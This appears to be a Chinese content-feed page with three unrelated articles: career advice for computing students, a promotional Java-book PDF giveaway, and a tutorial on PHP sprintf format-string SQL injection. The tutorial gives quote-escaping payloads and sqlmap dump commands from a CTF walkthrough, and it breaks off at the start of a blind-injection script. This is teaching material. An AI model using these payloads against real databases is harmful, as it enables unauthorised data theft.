php深入

应届毕业生到底适合做程序员吗?

如果你在大二的时候就已经开始接触外面的公司,我认为你做的很对,你就应该这么早为你今后的职业生涯打基础。很多人都是等到毕业的前两个月(甚至更晚)才考虑这个问题。即使你没有实习的机会,你也要获得一些外面的工作印象。

千万不要寄希望于在课堂上学习一种新语言新技术。计算机专业的课程有自己的目标,是要给你一个广泛的理论基础,是针对某些特殊的课题。很多的技术(如源代码管理,服务器管理,nginx配置等)和语言(很多学校只教C和Java)永远不会出现在课堂上。在公司里,你经常会根据业务的需要或个人事业的需要即时学一些新东西,所以,如果你想以后事业上有所斩获,现在你就要开始学习一些课外的知识。

至少学一种“冷僻”的语言。它会让你学到很多从像Java这样主流的语言中学不到的东西。我个人喜欢Lisp这种语言,而Land of Lisp这本书是一个非常好、非常有趣的学习这种语言的教材。

做至少一个项目。这个工程不必非常有意义或非常重要,只是为了实践!比如写一个能找到离你最近的星巴克的搜索器。为你的学习小组开发一个小组事物管理系统网站。开发一个能完成拼图任务的自动机器人软件。只是为了动手去做,把工程发布到网上,把代码放到GitHub上,把你做的事情写出来,发表在你的博客上。这会让你留下一个对编程感兴趣的公众形象,这对一些招聘单位具有非常非常大的吸引力,尤其是在面试的时候。这也是你锻炼写作的机会,让你知道你每过一年都有哪些进步。

1.确定方向

1.1选择比努力更重要

关于方向的选择其实越早确定越好,生活中我们要面临无数个选择,前几天看的一个黑客相关的美剧中有句台词说的不错:

lifeisbinary,生活就是二进制,一个个0101组成的。每一次抉择,选了就是1,不选就是0。另外也有一句话说:“人一生要面临很多选择,但是真正能决定你命运的只有几个”。没错其实就是这样。

如果你是计算机专业的学生,那么到底是考研还是就业就是首先要面临的问题。本文是面向确定了毕业要工作的大学生的,所以关于这个抉择,不再赘述。

就业的话,本文标题是码农,实际是指所有计算机相关的技术工种。包括开发、测试、运维等。

很多选择本身并没有对错或优劣,只有适合不适合。

不要滥用勤能补拙,这个词语一度被很多人奉为圭臬,但同时成了枷锁。我相信这个词,但是要考虑现状,要考虑投资回报率。你在自己并不擅长或不感兴趣的领域深耕了四年,最后不一定能获得多少成绩。当然如果你能在毕业后继续深耕几年或许是可以的,但是我希望每一位大学生在毕业的时候都能有一份好的工作,并且如果你并不喜欢某一领域的话,那么我相信你一定不会坚持下去。所以我们一定要找到适合自己的方向!

那么如何发现自己对什么感兴趣呢?我也不知道很好的办法,我只知道一个朴素的方法——尝试。趁着年轻,就要多尝试。千万不要大三了都还不知道自己兴趣在哪,想做什么,适合什么。所以大一大二努力去碰钉子吧。

1.2算法还是开发

数据结构和算法很重要,无论是面试还是工作,无论你从事哪方面的技术。不过算法虽然重要,但并不适合每个人都花费大学全部的精力去钻研。

相信很多学校都有ACM竞赛相关的社团或组织。很不幸,我们学校没有,我大一的时候也花了很多精力刷题,但是硬件条件不太允许,氛围太缺乏。如果你觉得自己能够在ACM比赛中游刃有余,那么恭喜你,你可以一心一意搞算法。如果你觉得自己在这个过程中十分吃力,挫败感频生,那么也不要气馁,或许有另一条路是属于你的。选择开发,有算法功底深厚是很棒的事,但是仅仅只有算法同样是不够的,计算机海洋还有很多未知等着你探索。

算法岗包括数据挖掘、机器学习之类的(怎么样,高大上吧,反正我不懂)。要说明的是想做算法的同学最好选择读研继续深造,因为大企业在算法岗的招聘上对本科生是很不友好的。还是要申明一句,你做开发也不能忽视算法和数据结构,起码面试还是经常考的!记住一句:

算法功底好的人,运气都不会差。

对于本科生而言做开发还是相对容易的一条道路,不过开发的技术路线也是不胜枚举:前端、后台(PHP后台、Java后台等等)、移动端(安卓和iOS)、游戏开发、数据库(比如做DBA)……。这里我肯定不会去推荐你去学哪一种,我没有能力也不适合。只有你自己才能发现自己的兴趣以及好奇心之所在。

我能做的只是在浩如烟海的技术观点中,帮一个个本科生排疑解惑。

1.3认识技术

关于技术,很多本科生都存在诸多误区。初学者总喜欢追随牛逼的技术,实在过于盲目,找准自己的定位最重要。

误区1:图形化的东西比非图形化东西更牛逼

多见于初学者,尤其是计算机专业新生(我大一的时候就是)。当时学校教了点C语言,一直都是控制台程序,面对黑窗口,我就各种百度看看怎么弄出图形化的东西,那时候才知道GUI这个缩写是啥意思(当初知道这个缩写的全称还小激动了一下下,果然我还是太年轻了),然后知道了WIN32、MFC这些名词。。确实只能说是知道名词。当时对着视频教程做了计算器,就是用VC++拖拖控件,视频里的人敲一句代码,我就敲一句。后面虽然弄出来了,但是感觉自己什么都不懂,只是依样画葫芦。这时我才意识到,还有很多基础没有打劳。

八卦一下,现在桌面客户端的开发工作并不多,所以大家谨慎选择这一技术方向。桌面端GUI技术一度火爆(MFC、Qt、WinForm、WPF、Swing……),但如今早已是互联网及移动互联网时代。所以大家真的要慎重选择。不过还是可以学习一下的,至少能加深你对编程语言以及设计模式的理解。

误区2:非图形化的东西比图形化的东西更牛逼

具体而言就比如说:后台技术比前端技术、客户端(Android、IOS)更牛逼。多见于有Linux背景的人(没错,说的就是我=_=|||)。

我也一度这样认为,其实不然。这里和上一个误区一起澄清一下:技术本身没有高低优劣之分,但程序员对其有好恶之别。

另外要说明一下,不能说前端就简单,后台就更难,同样反过来说也不对。我只能说这完全是不同层面的东西,不能量化的去比较。前后端都自有其难点以及G点。你不能说你能处理后端复杂的并发、同步、高可用,那么你就能轻松地完成美观的网页及特效、处理麻烦的浏览器兼容、极尽所能地降低页面的加载速度。就好比同样是一双按在键盘上的手,那么钢琴家演奏优美的乐曲和程序员开发高性能的软件,哪个更困难?(比喻不一定贴切,但希望大家能明白这个意思)

误区3:XXX是最美的语言/框架/平台/……

多见于PHP程序员。哈哈,开个玩笑。这里不是在谈论谁是最好的语言,而是告诉大学生朋友们不要迷信论断。

我大一的时候去图书馆看书,看到有JavaWeb的书,前言写的很清楚,痛陈了PHP和http://ASP.NET的缺点,阐述Java是多么优秀,OK。你可能也和我一样,在入门的时候经历过类似的事。我要告诉你的事,多翻几本书,你会看到http://ASP.NET和PHP书籍的前言写的同样精彩,你绝不会在http://ASP.NET的书里看到夸耀Java的句子。不同的技术自有其优劣,千万不要成为前言驱动的学习者。。

继续八卦一下,虽然说不通技术自有其优劣,但是就目前国内形势来看,学习Java绝对是不错的投资,Java后台几乎占据了中国互联网企业后台的半壁江山。而.NET技术确实日薄西山。不过PHP现在依然有很顽强的生命力。

另外还有一些经典论断:

LAMP架构只适合中小企业;

MySQL只能用于中小企业,大企业都用Oracle。等等。

这些论断从技术角度出发,确实无可非议,但却并不客观。见过一些朋友,对MySQL充满鄙夷,觉得MySQL很容易出现瓶颈之类的。其实我想说,阿里、腾讯都大量使用了MySQL。别问我为啥MySQL被这么大体量的公司采用(无外乎开源的好处和历史原因啦),我觉得,只要技术够屌,什么瓶颈都能克服。。

2.学习那点事

2.1关于逃课

相信每一个大学生都逃过课,我也不例外,而且很多。我在谈逃课,其实也是从某个侧面来谈自学。之前有个网友和我咨询如何面试,如何准备之类的,他已经大三了。学校的课程完成的不错。但我感觉他还欠缺很多。要想找到好工作只靠老师教你那些东西是不够的,跟着学校的进度走,其实只会让你落后。我并非一味的鼓励大学生逃课,我的观点是要选择性的逃课(如果是好课那么即使不开课也要去蹭课的)。哪些课要逃呢?

无聊的课程。比如思修、毛概、马原统统要逃。别急着反驳我,就是逃课而已,不要形而上。我不是党员,也没有申请过。数学相关的课程,我只想说量力而行,数学确实对于程序员来说还算重要,但是不同岗位对数学的要求又不尽相同,你能应付就好好听,不能应付就。。

与你的技术方向无关。这个就要看你是不是计算机专业了,如果你是其他专业学生,但是对计算机感兴趣,相信很多课都是可以逃的了。或者比如你的技术栈是建立在Linux基础上的,但是学校有一门MFC编程的课,你有兴趣又有时间可以听听,没时间就逃,OK的。这个也是有个前提的,就是你能清楚的明白哪些课程是对你有帮助的。你说:“我学C++的,我把数据库的课逃了”。=_=||别说你读了我的文字。。

你已经掌握了的。相信会自学的孩子,都有这种情况,那就是在学校开课前,你就自学过了某门课程。那么等到开课以后你就可以逃了,我就是这样逃了Linux编程的课。当然你要清楚的了解自己到底掌握了多少,不要自己是一知半解,还自以为懂了,就不听课了。其实要逃这种课,你也不需要懂得太多,你只需要保证你比老师讲课的水平高就行了。我们有的老师,水平真心烂,不逃课对不起他。

但是很多学生总是走极端,说到自学就一点课都不上了,看不起学校的课程安排。自己在寝室学个把月就能轻轻松松地做出网站或者APP。但是我想告诉你,你能做到的,别人同样能做到。有一句话说的很好:

你的工资不是和你的工作时间成正比,而是和你的不可替代性成正比。

你和培训机构几个月量产出来的程序员差别在哪?仅仅是你没有给培训机构交学费吗?但你的技能和他们是差不多的啊。所以说学校教的基础课是很重要的,最直接的好处就是笔试,笔试考的就是基础。然后这对你长期的职业发展也是很有帮助的。你工作几年之后(可能就是一两年),发展肯定会遇到瓶颈。

2.2关于读书

多读书,读好书

这是一句老掉牙的话了,但是事实就是如此,阅读经典书籍,你的投资回报率其实远高于阅读低质量的书籍。那么什么是低质量的书籍呢?比如《21天精通XXX》之类的。但是不管读什么书,都不能盲目跟风、囫囵吞枣。在网上,生活中经常看到各种索要书单的网友,借鉴别人的书单是可以得,但是直接照搬照抄则是不明智的。因为每个人已有的知识储备是不一样的,别人阅读的书籍不一定适合你。所以阅读合适的书籍也是一种重要的命题。

阅读合适的书籍

那什么是不合适的书籍呢?我认为有如下几类:

与自己的技术栈毫不相干的。这相关与否是建立在你已经做了清晰的职业规划的基础上,并且通过搜集信息能够自己辨识哪些是和自己的技术栈相关的,哪些是不相关的。当然,我并不是鼓吹大家技能点越单一越好,技术人员当然需要不停扩充知识面,但是对于大学生而言,这要建立在你在主要的技术栈上的积累已经足够多的时候(足以应付面试),不然东一榔头,西一棒槌,最后只能样样稀松。

超出自己能力范围的。虽然我前面说要读好书,要读经典书籍,但是一定要量力而行。很多经典书籍的阅读需要一定的基础,如果你只看到了别人对这本书推崇备至就开始强行阅读,最后通常也不多是走马观花,像读小说一样读完了而已,最后什么都没学到,还浪费了时间。老子说“企者不立,跨者不行”就是这么个道理。

知识点与自身已具备知识过度重合的。面对一本经典书籍,可能你已经具备了那本书中所阐述的绝大部分知识,那么还有没有必要读呢?我的建议是:可以查漏补缺,但不要通读。很多经典书籍,单拿出一本来说都是值得阅读的,但是放到一起就不一定了。因为两本书籍可能70%甚至80%的内容类似,这时你读完一本,再通读另一本就没有必要了,比如我读了《C++Primer》就没再去读《C++PrimerPlus》了。当然你可以阅读不重合的部分,这需要你有较强的辨识能力。

《C++PrimerPlus》虽然从名字上看起来像是《C++Primer》的加强版,但其实并不是。它们是不同的作者,并且从风评来看《C++PrimerPlus》貌似比《C++Primer》还要基础一些。

善待图书馆

请大家一定一定要善待图书馆。说实话我大学几年对我们学校并没过多好感,但是唯一让我不舍的就是图书馆。相比电子书,我更喜欢那种手指翻阅纸张时那种真实的触感。大学临近尾声,这几个月疯狂的去图书馆借书读书。上个月竟然发现图书馆新购入了好几本好书,可惜的是我实在是没时间读了。哎,突然发现自己一直以来都是不太会读书的人,从大一到大四都借过不少书,但真正能读完的并没有几本。当然了,前面我也提到了,有些书是不适合通读的。但仍旧有很多需要通读的书籍被我丢弃,直到最近几个月才认认真真地读了基本完整的。

“书非借不能读”

很朴素的一个真理,借的书因为是时间限制,所以会逼迫你阅读。而如果是你自己买的书,你潜意识就会觉得“啥时候读都一样”。当然这是对自制力不强的同学们说的。

2.3打造自己的技术栈

技术栈,或者叫技术体系、知识体系。首技术栈起于编程语言却又不止于编程语言。你可以多尝试,然后找到自己喜爱的技术方向开发深挖。然而很多学生通常会在起步的时候就陷入迷茫。在网上看到过一个人,想学web开发,各种调研,然后向别人征求意见该学哪门语言比较好,哪个框架更有优势。后面大概过了半年,他还在纠结该选哪一个。。

我只想说:先跑起来。语言很重要但并没有那么重要。无论语言还是框架这些都是工具,在这些工具的使用过程中提炼出的思想、方法、认知才是你的能力。有了能力,即使你换了语言,换了框架照样能快速上手。我觉得大公司一般不会计较你对某一框架的API熟悉不熟悉,他更看重的是你对框架背后的设计哲学和原理是否了解。

技术栈就像一棵大树,树根可能是操作系统、网络、算法、数据库。再靠上一点是编程语言。接着树干就是你的职业方向,可以是安卓、IOS、前端、后台等等。别忘了还有树枝和树叶。技术没有孤岛。把自己封闭在闭塞的圈子内十分危险。你应该是具备了深度的同时再拥有广度,请注意拥有深度是前提。

没有什么东西绝对该学或者绝对不该学的,切忌盲从,照搬照抄别人的学习经历,强迫自己看别人的书单。谁说你是后台的就不能看前端的东西?在你后台技术成熟之后是可以的,这样也能加深你对整体架构的理解。

另外这些树枝和树叶上悬挂着的也可能NoSQL、Git或者Docker等,你不需要在每个方面都是专家,但你应该对新技术抱有好奇心。

2.4深度思考和提炼

不管是前端还是后台,框架都是层出不穷的。每个都学,谁都会疲于学习。但实际上你并没有必要这么做,对于一个框架,记忆它的API永远是最低的技能,你要从中提炼出一些共性的知识点。比如后台框架,你学了之后你要记住的应该是URL路由、模板、权限控制、MVC的设计等等。那么你换一个框架,即使有不同,你也能快速上手,思维上只是换一套API,接着补一下个别差异,新特征而以。对于编程语言的学习也是如此。

C++的STL里面有各种算法,很多时候参数的参数都包含一个函数对象(实际为重载运算符()),这就是函数式编程啊。学了JavaScript,你会感觉到很多时候其实也都是在进行函数式编程,并且比C++更甚,尤其是jQuery这个库的用法。提炼出不同语言之中的相似处及不同点,不仅能帮助你学习新语言,并且能帮助你巩固旧语言,加深你对旧语言的理解。

另外呢。计算机学科的很多课程其实并不是完全孤立的(虽然可能看起来如此)。你比如说操作系统课,讲链接和装载,这肯定和C语言编译的可执行文件有莫大关联啦。讲内存管理,分段是啥?你不知道C语言里面数据段、代码段、等等吗?内存的分配策略和分配算法,其实C语言里面malloc就在使用这些策略啊。大家一定要学会在不同课程之间建立联系,这是一件很有趣事。

3.求职准备

3.1早做规划

关于求职,一定要早做规划,最起码在大三开始就应该定下求职的规划。举个例子:

我意识到自己直接参加大四的秋招可能有很多不足,但是如果我找一个大三的暑期实习应该相对秋招要来的容易,并且实习留用的概率也比直接秋招通过的概率高。退一步讲,即便我实习不能留用,我已经有了实习经历,勇气真的很重要,那么我再去参加其他公司的秋招胜算也会大很多。

自己的短板一定要早点发现,然后及时找到弥补方案。比如你项目经验匮乏,那么你就应该在其他地方找到填补,例如:把基础打牢(从上层应用到底层原理),深入了解数据结构和算法,阅读开源项目源码等等。

俗话说“知己知彼,百战不殆”,你应该找个时间(不需要太早)去看一看你所关注的公司往年的笔试题以及面试题。网上有很多笔经面经可供参考。

其他的规划还有很多,比如你大概什么时候开始就应该频繁关注各大公司的招聘信息,什么时候开始海投。如果你准备去外地面试,那么提前给自己准备好足够的钱,不仅是车票,面试过程可能会持续几天,需要住宿之类的。

3.2关于刷题

这是个见仁见智的问题,如果你基础足够好,那么大可以不要花太多时间在刷题上,但是我也建议你读一读《编程之美》、《剑指Offer》、《程序员面试宝典》、《程序员面试金典》之类的书来熟悉一下题型。

吐槽一下,我当时看的《程序员面试宝典》是第4版,不知道为啥出到第4版了,错误还很多。前半部分还好,值得一读,后面就不敢恭维了。大家读书一定要警惕。

如果你基础不太好,那么刷题就尤为重要了,虽然有点取巧,但也不失为一个办法。

这里提一下C++,即使你投的岗位不是C++(是Java或其他),那么笔试的时候遇到C++的概率也是很高的。这是因为考察C++更有区分度,更加便于筛选,所以希望大家尽量突击一下C++。当然,不同公司的选拔风格不一样,所以还是多参考一下他们往年的笔试题吧。(前端的话应该考不到C++,这点我不了解)

3.3鼓起勇气

之前我们学校本科生进BAT的很少,可能要隔一年才有一个。但是其实并不是我们学校学生真的这么差,虽然我们学校不怎么样,但不代表我们学生的素质就是如此。原因很简单就是缺乏勇气。我曾和一些学长学姐共事过一段时间,他们对于BAT以及其他的互联网大厂,都是想都不敢想。我也曾经羞于说出自己的梦想“进入BAT”。

所有互联网大厂都是不会来我们学校所在城市(南昌)招聘的,我们要想面试这些企业都要去省外城市(比如武汉)。异地面试也是给很多人心中造成了无形的压力,觉得跑这么远,要是面试失败咋办,觉得不仅丢了钱还会丢面子。其实很幼稚,每个人都应该尽自己所能找到最好的工作,没必要想这么多,你丢掉的钱,迟早会得到更丰厚的回报。你丢掉的面子,迟早也会获得欣羡的目光,最差的情况你也能告诉自己“努力过了,争取过了,失败了也不后悔”。

想我当初可是在武汉面试蘑菇街一面就挂掉了,然后三天之后又收到了腾讯武汉面试的短信。你说我去不去?

“蘑菇街你都挂了,你还要面腾讯?”

我去,我一定要去。

还有一点就是不要害怕自己学校差(普通一本甚至二本),不要嫌弃自己学历低(本科)。首先研究生们在算法岗方面确实你本科生有优势,但是在开发岗上并没什么差别。然后大公司招聘虽然喜欢招聘名校的毕业生,这只是因为仅仅通过半个小时或一个小时的面试,面试官真的很难了解到你的全貌。而如果你是名校的学生,那么无形之中就在证明自己的能力,首先你能考上这个学校就说明了你的学习能力,然后这个学校师资力量,办学条件十分优厚,确实能助力学生的成长。如果你学校一般,那么面试官可能觉得你学习能力有欠缺,或者觉得这样一个学校并没有好的条件去培养你。

但是这绝对不是全部。你是普通学校的学生,并不代表你没有足够的学习能力,没有掌握足够的职业技能。你需要做的仅仅是努力向面试官展示出你的学习能力,你所掌握的技能就好了。我有一个老乡,二本学校,但是去年收割了BAT的offer,其中霸面百度拿了specialoffer。他大学期间就做了很多事,做了很多项目,还开办工作室等等。这些大学经历以及项目经验写到简历上,和面试官一聊,那么面试官真的不会在乎你是什么学校什么学历的(网易除外)。

同学们,鼓起勇气,干巴爹。

展开
收起

爱了,3174页实战pdf集锦:Redis+多线程+Dubbo+JVM+kafka+MySQL

写在前面

作为一名Java开发者,在现在这个信息化时代很快的时代,很少会有人停下脚步去思考以及去总结,忽略了很重要的一个步骤,没有反思和总结,只会用原来固有的想法去做事情,所以还是需要隔一段时间去总结。LZ今天总结了自己在平时会用到的一些:

01—Redis实战

在Redis诞生数年之后的今天,这个项目已经发生了显著的变化:我们现在拥有了一个更为健壮的系统,并且随着Redis 2.6的发布,开发的重点已经转移到实现集群以及高可用特性上面,Redis正在进入它的成熟期。在我看来,Redis 生态系统中进步最为明显的一个地方,就是redis.io网站以及Redis Google Group这些由用户和贡献者组成的社区。数以千计的人通过GitHub的问题反馈系统参与到了这个项目里面,他们为Redis编写客户端库、提交补丁并帮助其他遇到麻烦的用户。

时至今日, Redis 仍然是一一个BSD授权的社区项目,它没有那些需要付钱才能使用的闭源插件或者功能增强版。Redis 的参考文档非常详细和准确,在遇到问题时也很容易就可以找到Redis开发者或者专家来为你排忧解难。

pdf的目录大纲介绍:

第一部分入门

第1章初识Redis第2章使用Redis构建Web应用第二部分核心概念

第3章Redis命令第4章数据安全与性能保障第5章使用Redis构建支持程序第6章使用Redis构建应用程序组件第7章基于搜索的应用程序第8章构建简单的社交网站第三部分进阶内容

第9章降低内存占用第10章扩展Redis第11章Redis的Lua脚本编程

PDF主要内容介绍:

02—Java多线程编程核心技术

结合大量实例,全面讲解Java多线程编程中的并发访问、线程间通信、锁等最难突破的核心技术与应用实践。

pdf的目录大纲介绍:

第1章Java多线程技能第2章对象及变量的并发访问!第3章线程间通信第4章Lock的使用第5章定时器Timer第6章单例模式与多线程第7章拾遗增补

pdf主要内容介绍:

03—深入理解Apache Dubbo与实战

随着业务规模的发展和复杂度的增加,传统的单体应用已经很难适应业务迭代的诉求,越来越多的公司开始进行服务化的改造。很高兴看到Apache Dubbo被许多公司采用,作为服务化改造的基础架构进行演进。这里面就包括了许多互联网公司、国字头的大型企业,以及金融行业的巨头公司。

PDF主要目录大纲介绍:

第1章Dubbo高性能RPC通信框架第2章开发第一款Dubbo 应用程序第3章Dubbo注册中心第4章Dubbo扩展点加载机制第5章Dubbo启停原理解析第6章Dubbo远程调用第7章Dubbo集群容错第8章Dubbo扩展点第9章Dubbo高级特性第10章Dubbo过滤器第11章Dubbo注册中心扩展实践第12章Dubbo服务治理平台第13章Dubbo未来展望

pdf主要内容介绍:

温馨提示:需要完整内容的朋友,帮忙转发+关注,后台私信【学习】或【555】即可免费领取6本实战内容。

04—揭秘Java虚拟机:JVM设计原理与实现

JVM作为一款虚拟机,本身便是技术之集大成者,里面包含方方面面的底层技术知识。抛开如今Java 如日中天之态势不说,纯粹从技术层面看, JVM也值得广大技术爱好者深入研究。可以说,从最新的硬件特性,到最新的软件技术,只要技术为证明是成熟的,都会在JVM里面见到其踪影。JDK的每一次更新,从内部到核心类库,JVM都会及时引入这些最新的技术或者算法,这便是技术传承意义之所在。随着云计算、大数据、人工智能等最新技术的发展,Java 技术生态圈也日益庞大, JVM与底层平台以及与其他编程语言和技术的交互、交织日益深入,这些都离不开对JVM内部机制的深入理解。

PDF主要目录大纲介绍:

第1章Java虚拟机概述第2章Java执行引擎工作原理:方法调用第3章Java数据结构与面向对象第4章Java字节码实战第5章常量池解析第6章类变量解析第7章Java栈帧第8章类方法解析第9章执行引擎第10章类的生命周期

pdf主要内容介绍:

05—kafka实战

Kafka 起初是由 Linkedin 公司采用 Scala 语言开发的 个多分区、多副本且基于 ZooKeeper协调的分布式消息系统,现己被捐献给 Apache 基金会 目前 Kafka 已经定位为一个分布式流式处理平台,它以高吞吐、可持久化、可水平扩展、支持流数据处理等多种特性而被广泛使用。目前越来越多的开源分布式处理系统如 loudera Storm Spark Flink 等都支持与 Kafka 集成

PDF主要目录大纲介绍:

第1章初识Kafka第2章生产者第3章消费者第4章主题与分区第5章日志存储第6章深入服务端第7章深入客户端第8章可靠性探究第9章Kafka应用第10章Kafka监控第11章高级应用第12章Kafka与Spark的集成

pdf主要内容介绍:

06—高性能MySQL

本书是MySQL领域的经典之作,拥有广泛的影响力。第3版更新了大量的内容,不但涵盖了最新MySQL 5.5版本的新特性,也讲述了关于固态盘、高可扩展性设计和云计算环境下的数据库相关的新内容,原有的基准测试和性能优化部分也做了大量的扩展和补充。

PDF主要目录大纲介绍:

第1章MySQL架构与历史第2章MySQL基准测试第3章服务器性能剖析第4章Schema与数据类型优化第5章创建高性能的索引第6章查询性能优化第7章MySQL高级特性第8章优化服务器设置第9章操作系统和硬件优化第10章复制第11章可扩展的MySQL第12章高可用性第13章云端的MySQL第14章应用层优化第15章备份与恢复第16章MySQL用户工具

pdf主要内容介绍:

07—实战Nginx取代Apache的高性能Web服务器

在国内,已经有新浪博客、新浪播客、网易新闻、六间房、56.com、Discuz!官方论坛、 水木社区、豆瓣、YUPOO相册、海内SNS、迅雷在线等多家网站使用Nginx 作为Web服务器或反向代理服务器。

第1章Nginx简介第2章Nginx服务器的安装与配置第3章Nginx的基本配置与优化第4章Nginx与PHP(FastCGI)的安装、配置与优化第5章Nginx与JSP、ASP.NET. Perl的安装与配置第6章Nginx HTTP负载均衡和反向代理的配置与优化第7章Nginx的Rewrite规则与实例第8章Nginx模块开发第9章Nginx的Web缓存服务与新浪网的开源NCACHE模块第10章Nginx在国内知名网站中的应用案例第11章Nginx的非典型应用实例第12章Nginx的核心模块第13章Nginx的标准HTTP模块第14章Nginx的其他HTTP模块第15章Nginx的邮件模块

pdf主要内容介绍:

温馨提示:需要完整内容的朋友,帮忙转发+关注,后台私信【学习】即可免费领取6本实战内容。

展开
收起

深入解析sprintf格式化字符串漏洞

0x01 sprintf()讲解

首先我们先了解sprintf()函数

sprintf() 函数把格式化的字符串写入变量中。

sprintf(format,arg1,arg2,arg++)

arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "\$" 组成。

通过几个例子回顾一下sprintf

例子1:

<?php

$number = 123;

$txt = sprintf("带有两位小数:%1\$.2f<br>不带小数:%1\$u",$number);

echo $txt;

?>

输出结果:

带有两位小数:123.00

不带小数:123

例子2:

<?php

$num1 = 123456789;

$num2 = -123456789;

$char = 50;

// ASCII 字符 50 是 2

//注释:格式值 "%%" 返回百分号

echo sprintf("%%b = %b",$num1)."<br>"; // 二进制数

echo sprintf("%%c = %c",$char)."<br>"; // ASCII 字符

echo sprintf("%%s = %s",$num1)."<br>"; // 字符串

echo sprintf("%%x = %x",$num1)."<br>"; // 十六进制数(小写)

echo sprintf("%%X = %X",$num1)."<br>"; // 十六进制数(大写)

?>

输出结果:

%b = 111010110111100110100010101

%c = 2 //注意var_dump('2')为string

%s = 123456789

%x = 75bcd15

%X = 75BCD15

0x02 sprintf注入原理

底层代码实现

我们来看一下sprintf()的底层实现方法

switch (format[inpos]) {

case 's': {

zend_string *t;

zend_string *str = zval_get_tmp_string(tmp, &t);

php_sprintf_appendstring(&result, &outpos,ZSTR_VAL(str),width, precision, padding,alignment,ZSTR_LEN(str),0, expprec, 0);

zend_tmp_string_release(t);

break;

}

case 'd':

php_sprintf_appendint(&result, &outpos,

zval_get_long(tmp),

width, padding, alignment,

always_sign);

break;

case 'u':

php_sprintf_appenduint(&result, &outpos,

zval_get_long(tmp),

width, padding, alignment);

break;

case 'g':

case 'G':

case 'e':

case 'E':

case 'f':

case 'F':

php_sprintf_appenddouble(&result, &outpos,

zval_get_double(tmp),

width, padding, alignment,

precision, adjusting,

format[inpos], always_sign

);

break;

case 'c':

php_sprintf_appendchar(&result, &outpos,

(char) zval_get_long(tmp));

break;

case 'o':

php_sprintf_append2n(&result, &outpos,

zval_get_long(tmp),

width, padding, alignment, 3,

hexchars, expprec);

break;

case 'x':

php_sprintf_append2n(&result, &outpos,

zval_get_long(tmp),

width, padding, alignment, 4,

hexchars, expprec);

break;

case 'X':

php_sprintf_append2n(&result, &outpos,

zval_get_long(tmp),

width, padding, alignment, 4,

HEXCHARS, expprec);

break;

case 'b':

php_sprintf_append2n(&result, &outpos,

zval_get_long(tmp),

width, padding, alignment, 1,

hexchars, expprec);

break;

case '%':

php_sprintf_appendchar(&result, &outpos, '%');

break;

default:

break;

}

可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:没做字符类型检测的最大危害就是它可以吃掉一个转义符, 如果%后面出现一个,那么php会把\当作一个格式化字符的类型而吃掉, 最后%\(或%1$\)被替换为空

因此sprintf注入,或者说php格式化字符串注入的原理为: 要明白%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用。

这里我们举两个例子

NO.1

不使用占位符号

<?php

$sql = "select * from user where username = '%\' and 1=1#';" ;

$args = "admin" ;

echo sprintf ( $sql , $args ) ;

//=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");

//此时%\回去匹配admin字符串,但是%\只会匹配空

运行后的结果

select * from user where username = '' and 1=1#'

NO.2

使用占位符号

<?php

$input = addslashes ("%1$' and 1=1#" );

$b = sprintf ("AND b='%s'", $input );

$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );

//对$input与$b进行了拼接

//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );

//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空

echo $sql ;

运行后的结果

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

对于这个问题,我们还可以这样写

$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');

//result: SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

第一个格式化处匹配时为空,会让给后面的格式化匹配

以上两个例子是吃掉''来使得单引号逃逸出来 下面这个例子我们构造单引号

NO.3

对%c进行利用

<? php

$input1 = '%1$c) OR 1 = 1 /*' ;

$input2 = 39 ;

$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;

$sql = sprintf ( $sql , $input2 );

echo $sql ;

%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。 所以结果为:

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

小结

漏洞利用条件

sql语句进行了字符拼接拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串ps:

mysql> SELECT ascii('\'');

+-------------+

| ascii('\'') |

+-------------+

| 39 |

+-------------+

0x03 题目训练

一道注入题目

形式很像SQL注入,而且题目中提示为SQLI 先试了一下弱口令,确定username为admin 那么就对username与password进行注入,开始普通注入,二次解码,宽字节,过滤空格,过滤关键字等姿势进行构造注入语句都无果,而且还耗费大量的时间,不过后来get到一种姿势,使用burpsuit的intruder跑一下,来查看那些字母或者字符没有被过滤掉(waf字典) 后来发现%可疑,于是拿出来repeater一下

sprintf函数出错,那么sprintf是什么,格式化字符串,于是乎就懂得其中的原理了,是其单引号逃逸 构造username=admin%1

\' and 1=2# 与 username=admin%1

\' and 1=2# 与 username=admin%1' and 1=1# 发现如下的结果

可以发现'后面的语句带入执行了,这就是注入点,使用sqlmap跑一下 事先抓取post包

python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10

于是对ctf进行跑tables 得到

对flag跑columns 得到

对每个列进行dump但是dump下来不对,找了一波原因没有找到,开始用脚本跑 跑完后才发现sqlmap跑出来的列不对,应该是flag,于是

python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10

才得到正确结果 :) 下面是脚本跑的

实验推荐区

前往合天网安实验室做实验--利用sqlmap进行POST注入

(了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap进行POST注入攻击)

中心思想

先判断length 然后使用ascii判断字母 ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" 使用这个语句进行判断

涉及到的一些知识点:

代码

#coding:utf-8

import requests

import string

def boom():

